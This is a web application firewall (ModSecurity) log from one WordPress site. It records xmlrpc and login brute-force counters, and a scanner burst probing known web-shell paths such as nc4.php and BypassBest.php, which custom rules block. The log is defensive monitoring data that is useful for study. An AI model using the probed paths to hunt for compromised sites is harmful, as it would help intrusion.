[Fri Nov 21 15:05:59.027130 2025] [:error] [pid 25521:tid 25544] [client 203.217.101.237:36372] [client 203.217.101.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.217.101.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAPV_hXnBMilDddn3W8lAAAANU"], referer: http://rcacivilgroup.com
[Fri Nov 21 15:18:23.488498 2025] [:error] [pid 25430:tid 25469] [client 103.153.42.102:50494] [client 103.153.42.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.42.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSASP6pnWJcWt_4foXkjwgAAAEk"], referer: http://rcacivilgroup.com
[Fri Nov 21 15:46:00.681782 2025] [:error] [pid 25521:tid 25544] [client 162.0.232.40:60718] [client 162.0.232.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.0.232.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAYuPhXnBMilDddn3XUvQAAANU"], referer: http://rcacivilgroup.com
[Fri Nov 21 15:51:13.661821 2025] [:error] [pid 46939:tid 46956] [client 182.42.111.156:49698] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSAZ8e0OmVoxD4VZ_ZlbhQAAAU4"]
[Fri Nov 21 15:53:38.779177 2025] [:error] [pid 25431:tid 25489] [client 69.163.199.171:35740] [client 69.163.199.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.163.199.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAagsklhXxmoIExII0mNAAAAII"]
[Fri Nov 21 16:02:53.194839 2025] [:error] [pid 25521:tid 25531] [client 196.57.225.188:34057] [client 196.57.225.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.57.225.188, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSAcrfhXnBMilDddn3XqHgAAAMg"]
[Fri Nov 21 16:39:57.421207 2025] [:error] [pid 46939:tid 46966] [client 110.41.4.78:41012] [client 110.41.4.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.41.4.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAlXe0OmVoxD4VZ_ZmJkgAAAVg"], referer: http://rcacivilgroup.com
[Fri Nov 21 16:40:09.550185 2025] [:error] [pid 25430:tid 25468] [client 113.20.31.55:43010] [client 113.20.31.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.20.31.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAlaapnWJcWt_4foXlUDgAAAEg"]
[Fri Nov 21 16:43:11.213389 2025] [:error] [pid 46939:tid 46954] [client 165.84.218.233:31609] [client 165.84.218.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.84.218.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAmH-0OmVoxD4VZ_ZmKqwAAAUw"], referer: http://rcacivilgroup.com
[Fri Nov 21 17:05:52.917760 2025] [:error] [pid 25429:tid 25455] [client 103.192.173.163:39225] [client 103.192.173.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.192.173.163, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSArcD4rZbRSr7vu-NPA6QAAABY"], referer: http://rcacivilgroup.com
[Fri Nov 21 17:29:47.859909 2025] [:error] [pid 46939:tid 46948] [client 202.92.6.80:44986] [client 202.92.6.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.92.6.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSAxC-0OmVoxD4VZ_Zme3AAAAUY"]
[Fri Nov 21 17:29:52.827970 2025] [:error] [pid 46939:tid 46961] [client 202.92.6.80:44986] [client 202.92.6.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.92.6.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSAxEO0OmVoxD4VZ_Zme3gAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Fri Nov 21 17:32:42.272518 2025] [:error] [pid 46939:tid 46955] [client 110.41.4.78:47364] [client 110.41.4.78] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 110.41.4.78, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAxuu0OmVoxD4VZ_Zmf-wAAAU0"], referer: http://rcacivilgroup.com
[Fri Nov 21 17:35:54.546086 2025] [:error] [pid 25554:tid 25570] [client 81.88.52.32:52270] [client 81.88.52.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSAyeh-NtB-9AzFZrk55kAAAAQw"], referer: http://rcacivilgroup.com
[Fri Nov 21 17:49:08.031794 2025] [:error] [pid 25431:tid 25488] [client 116.204.78.140:41152] [client 116.204.78.140] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.204.78.140, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSA1lMklhXxmoIExII1gZAAAAIE"], referer: http://rcacivilgroup.com
[Fri Nov 21 17:57:16.381200 2025] [:error] [pid 25430:tid 25482] [client 43.167.157.80:46760] [client 43.167.157.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aSA3fKpnWJcWt_4foXlogQAAAFY"]
[Fri Nov 21 18:02:16.904985 2025] [:error] [pid 25429:tid 25451] [client 4.240.89.23:38826] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSA4qD4rZbRSr7vu-NPP5AAAABI"], referer: http://rcacivilgroup.com
[Fri Nov 21 18:18:50.905704 2025] [:error] [pid 25430:tid 25477] [client 68.72.143.114:39898] [client 68.72.143.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.72.143.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSA8iqpnWJcWt_4foXluCwAAAFE"], referer: http://rcacivilgroup.com
[Fri Nov 21 18:22:11.445373 2025] [:error] [pid 25429:tid 25449] [client 82.156.9.158:57604] [client 82.156.9.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.156.9.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSA9Uz4rZbRSr7vu-NPVWgAAABA"], referer: http://rcacivilgroup.com
[Fri Nov 21 18:45:33.793847 2025] [:error] [pid 25521:tid 25529] [client 104.28.240.82:14998] [client 104.28.240.82] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.240.82, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSBCzfhXnBMilDddn3UeBAAAAMY"]
[Fri Nov 21 19:02:53.480748 2025] [:error] [pid 25554:tid 25560] [client 160.22.122.134:34016] [client 160.22.122.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.22.122.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBG3R-NtB-9AzFZrk6QAQAAAQI"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:13:39.230207 2025] [:error] [pid 25431:tid 25493] [client 177.52.160.32:60734] [client 177.52.160.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.52.160.32, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBJY8klhXxmoIExII15xwAAAIY"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:17:09.942773 2025] [:error] [pid 25429:tid 25457] [client 203.217.101.237:59894] [client 203.217.101.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.217.101.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBKNT4rZbRSr7vu-NPh9AAAABg"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:19:25.827289 2025] [:error] [pid 46939:tid 46955] [client 134.149.18.28:64191] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSBKve0OmVoxD4VZ_ZnPJQAAAU0"]
[Fri Nov 21 19:19:28.036039 2025] [:error] [pid 25430:tid 25463] [client 134.149.18.28:64174] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSBKwKpnWJcWt_4foXl7mgAAAEM"]
[Fri Nov 21 19:19:33.493558 2025] [:error] [pid 25521:tid 25541] [client 134.149.18.28:18686] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSBKxfhXnBMilDddn3UqpgAAANI"]
[Fri Nov 21 19:19:36.061103 2025] [:error] [pid 25554:tid 25569] [client 134.149.18.28:63492] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSBKyB-NtB-9AzFZrk6ToQAAAQs"]
[Fri Nov 21 19:19:37.538040 2025] [:error] [pid 25431:tid 25511] [client 134.149.18.28:63548] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aSBKycklhXxmoIExII17bAAAAJg"]
[Fri Nov 21 19:19:40.465622 2025] [:error] [pid 46939:tid 46949] [client 134.149.18.28:61813] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aSBKzO0OmVoxD4VZ_ZnPQwAAAUc"]
[Fri Nov 21 19:19:42.959117 2025] [:error] [pid 25554:tid 25563] [client 134.149.18.28:18638] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aSBKzh-NtB-9AzFZrk6TpwAAAQU"]
[Fri Nov 21 19:19:43.818648 2025] [:error] [pid 25429:tid 25457] [client 134.149.18.28:56588] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/readme.php"] [unique_id "aSBKzz4rZbRSr7vu-NPigAAAABg"]
[Fri Nov 21 19:19:45.431638 2025] [:error] [pid 25429:tid 25442] [client 134.149.18.28:63508] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aSBK0T4rZbRSr7vu-NPiggAAAAk"]
[Fri Nov 21 19:19:47.498043 2025] [:error] [pid 25521:tid 25538] [client 134.149.18.28:61772] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aSBK0_hXnBMilDddn3Uq1QAAAM8"]
[Fri Nov 21 19:19:49.908504 2025] [:error] [pid 25521:tid 25530] [client 134.149.18.28:18687] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aSBK1fhXnBMilDddn3Uq4AAAAMc"]
[Fri Nov 21 19:19:52.680219 2025] [:error] [pid 46939:tid 46953] [client 134.149.18.28:61797] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gmo.php"] [unique_id "aSBK2O0OmVoxD4VZ_ZnPYQAAAUs"]
[Fri Nov 21 19:19:54.641752 2025] [:error] [pid 25521:tid 25530] [client 134.149.18.28:63527] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSBK2vhXnBMilDddn3Uq6gAAAMc"]
[Fri Nov 21 19:19:56.978901 2025] [:error] [pid 25430:tid 25468] [client 134.149.18.28:18674] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSBK3KpnWJcWt_4foXl7qAAAAEg"]
[Fri Nov 21 19:19:58.320636 2025] [:error] [pid 46939:tid 46957] [client 134.149.18.28:63550] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSBK3u0OmVoxD4VZ_ZnPbQAAAU8"]
[Fri Nov 21 19:19:59.115490 2025] [:error] [pid 25521:tid 25545] [client 134.149.18.28:63526] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/autoload_classmap.php"] [unique_id "aSBK3_hXnBMilDddn3Uq-QAAANY"]
[Fri Nov 21 19:20:01.593918 2025] [:error] [pid 25430:tid 25464] [client 134.149.18.28:61789] [client 134.149.18.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSBK4apnWJcWt_4foXl7rAAAAEQ"]
[Fri Nov 21 19:20:02.309847 2025] [:error] [pid 25429:tid 25456] [client 134.149.18.28:61809] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSBK4j4rZbRSr7vu-NPimQAAABc"]
[Fri Nov 21 19:20:05.012292 2025] [:error] [pid 25429:tid 25452] [client 134.149.18.28:18676] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSBK5T4rZbRSr7vu-NPingAAABM"]
[Fri Nov 21 19:20:12.091557 2025] [:error] [pid 25554:tid 25582] [client 134.149.18.28:63612] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSBK7B-NtB-9AzFZrk6TzQAAARg"]
[Fri Nov 21 19:20:15.971153 2025] [:error] [pid 25429:tid 25455] [client 134.149.18.28:19361] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/BypassBest.php"] [unique_id "aSBK7z4rZbRSr7vu-NPivAAAABY"]
[Fri Nov 21 19:20:18.420909 2025] [:error] [pid 25430:tid 25460] [client 134.149.18.28:63601] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "aSBK8qpnWJcWt_4foXl7xwAAAEA"]
[Fri Nov 21 19:20:46.782845 2025] [:error] [pid 25429:tid 25446] [client 134.149.18.28:63597] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aSBLDj4rZbRSr7vu-NPjDAAAAA0"]
[Fri Nov 21 19:20:49.753359 2025] [:error] [pid 25521:tid 25547] [client 134.149.18.28:19374] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aSBLEfhXnBMilDddn3UrUwAAANg"]
[Fri Nov 21 19:20:52.640667 2025] [:error] [pid 46939:tid 46953] [client 120.78.88.119:57938] [client 120.78.88.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.78.88.119, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSBLFO0OmVoxD4VZ_ZnPsQAAAUs"], referer: http://rcacivilgroup.com
[Fri Nov 21 19:20:54.393337 2025] [:error] [pid 25430:tid 25464] [client 134.149.18.28:19377] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aSBLFqpnWJcWt_4foXl8IgAAAEQ"]
[Fri Nov 21 19:20:57.333139 2025] [:error] [pid 25521:tid 25546] [client 134.149.18.28:18538] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/13.php"] [unique_id "aSBLGfhXnBMilDddn3UrYwAAANc"]
[Fri Nov 21 19:21:01.763349 2025] [:error] [pid 25430:tid 25478] [client 134.149.18.28:18503] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "aSBLHapnWJcWt_4foXl8KwAAAFI"]
[Fri Nov 21 19:21:04.733933 2025] [:error] [pid 25431:tid 25504] [client 134.149.18.28:61806] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "aSBLIMklhXxmoIExII177AAAAJE"]
[Fri Nov 21 19:21:05.911631 2025] [:error] [pid 25430:tid 25462] [client 134.149.18.28:63568] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "aSBLIapnWJcWt_4foXl8LgAAAEI"]
[Fri Nov 21 19:21:10.974530 2025] [:error] [pid 25430:tid 25477] [client 134.149.18.28:19379] [client 134.149.18.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/about.php"] [unique_id "aSBLJqpnWJcWt_4foXl8MgAAAFE"]
